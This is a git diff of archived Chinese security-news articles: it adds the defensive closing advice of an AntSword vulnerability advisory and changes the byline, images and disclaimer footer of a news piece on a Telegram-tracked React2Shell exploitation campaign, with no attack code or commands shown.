+1. 不随意点击： +虚拟终端中出现的陌生链接， +切勿点击 +； + +1. 加固环境： +长期使用建议按方案 3 关闭nodeIntegration，降低权限风险。 + +中国蚁剑  +v2.1.16 下载地址： + +https://github.com/AntSwordProject/antSword/releases/tag/2.1.16 + +## 五、写在最后 + +渗透工具本身是**双刃剑** +，工具自身的安全，直接关系到**使用者本地主机安全。** +此次蚁剑漏洞再次提醒：**高频使用的工具，更要紧盯安全更新** +。请尽快自查版本、完成修复，避免被 “反向控制”！ + + +**关注我们** + +![](https://mmbiz.qpic.cn/mmbiz_png/XOPdGZ2MYOeSsicAgIUNHtMib9a69NOWXw1A7mgRqqiat1SycQ0b6e5mBqC0pVJ3oicrQnCTh4gqMGiaKUPicTsUc4Tw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + 还在等什么？赶紧点击下方名片开始学习吧  +![](https://mmbiz.qpic.cn/mmbiz_png/XOPdGZ2MYOeSsicAgIUNHtMib9a69NOWXw1A7mgRqqiat1SycQ0b6e5mBqC0pVJ3oicrQnCTh4gqMGiaKUPicTsUc4Tw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + + +**知 识 星 球** + + + +星球已过800人，暂不再发放优惠券，如还有需要的师傅可加我 +VX +：**S_3had0w，等你一起来学习...！** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/XOPdGZ2MYOe8h8vDq3IN1GhNuNnkbWYgcibYRicgo0SRy1febylE4kBDdibgIJV1ia1QNSBYiaZAZWCzAjESoYfxNjw/640?wx_fmt=jpeg&from=appmsg "") +
Ima知识库名称
加入条件

潇湘信安协同知识库（更新~ing!）

限时免费

潇湘信安学习资料库（更新~ing!）

≥3年粉丝

潇湘信安内部知识库（更新~ing!）

星球成员

+ +**推 荐 阅 读** + + + + +![](https://mmbiz.qpic.cn/mmbiz_png/XOPdGZ2MYOe2nibXhkXA8A79MhARiaW5Q0H2aiaR0OwyR63JAI1pRGAc7FZMgIHb9kicboQziaJkTbnlAgOvkdiaHf5g/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/XOPdGZ2MYOe2nibXhkXA8A79MhARiaW5Q0ibIORUp7SmHhzy2uyXKsgn7YwfdjIpZDFx0vT7AJDMtqKf9l5WCzIIQ/640?wx_fmt=png "") + +[](http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486327&idx=1&sn=71fc57dc96c7e3b1806993ad0a12794a&chksm=cfa6af64f8d1267259efd56edab4ad3cd43331ec53d3e029311bae1da987b2319a3cb9c0970e&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/mmbiz_png/XOPdGZ2MYOdAPjIVeN2ZahG9ibP0Y3wlfg6BO1WO7MZfo1JeW7zDWcLSTQ5Ek8zXAia5w1nMnogpbpXP6OxXXOicA/640?wx_fmt=png "") + diff --git a/doc/2026-04/黑客利用Telegram做“战报系统”，900余家企业遭React2Shell漏洞批量洗劫.md b/doc/2026-04/黑客利用Telegram做“战报系统”，900余家企业遭React2Shell漏洞批量洗劫.md index 35308a76..7955f29a 100644 --- a/doc/2026-04/黑客利用Telegram做“战报系统”，900余家企业遭React2Shell漏洞批量洗劫.md +++ b/doc/2026-04/黑客利用Telegram做“战报系统”，900余家企业遭React2Shell漏洞批量洗劫.md @@ -1,10 +1,10 @@ # 黑客利用Telegram做“战报系统”，900余家企业遭React2Shell漏洞批量洗劫 - FreeBuf 2026-04-26 10:02 + 黑白之道 2026-04-28 01:35 -![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif "") +![](https://mmbiz.qpic.cn/mmbiz_gif/3xxicXNlTXLicwgPqvK8QgwnCr09iaSllrsXJLMkThiaHibEntZKkJiaicEd4ibWQxyn3gtAWbyGqtHVb0qqsHFC9jW3oQ/640?wx_fmt=gif "") -## -## + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/nGzNudUIJ6MOHK214zuvACt0l5a5usm5ooLwUuIgaYiaCFy3Zzs3prlvywdpDB7licXia5t12ge4Kbn6zGSEqodrRjMlYgnH7DbMGib8zs8J2D8/640?wx_fmt=png&from=appmsg "") **Part01** ## 攻击行动曝光 @@ -98,7 +98,7 @@ DFIR Report的分析师还发现，攻击者至少运行了两个独立的机器 这种基础设施投入水平表明，攻击者并非新手，而是长期从事此类操作——存储阶段的命名痕迹甚至可追溯至2025年9月。 -![](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX2Qq6BXVdmAScG7t96IdSlfKHRSHA0SkXZKE7Su6qVHs2ibwhUllQUiblAmNNtf3kwddYSHqhf4YJZx7StxHolWgK1XKYZUTOla4/640?wx_fmt=png&from=appmsg "") +![图片](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX2Qq6BXVdmAScG7t96IdSlfKHRSHA0SkXZKE7Su6qVHs2ibwhUllQUiblAmNNtf3kwddYSHqhf4YJZx7StxHolWgK1XKYZUTOla4/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1#imgIndex=2 "") **Part07** @@ -125,19 +125,15 @@ Hackers Use Telegram Bots to Track 900+ Successful React2Shell Exploits https://cybersecuritynews.com/hackers-use-telegram-bots/ - -**推荐阅读** - -[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651337140&idx=1&sn=134af642d92b85fc1076a8c83c09945c&scene=21#wechat_redirect) - - -### 电报讨论 - - -![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR3ibvNluUKZ6RPy7h2fbYibRbLQDHPFqj89KkFsXBRibx5YTLiaTUfFOy9PKicps3l56iazUPNQrwdhkZ7jA/640?wx_fmt=png&from=appmsg "") - -**** +> **文章来源：freebuf** +黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！ + +如侵权请私聊我们删文 + + +**END** +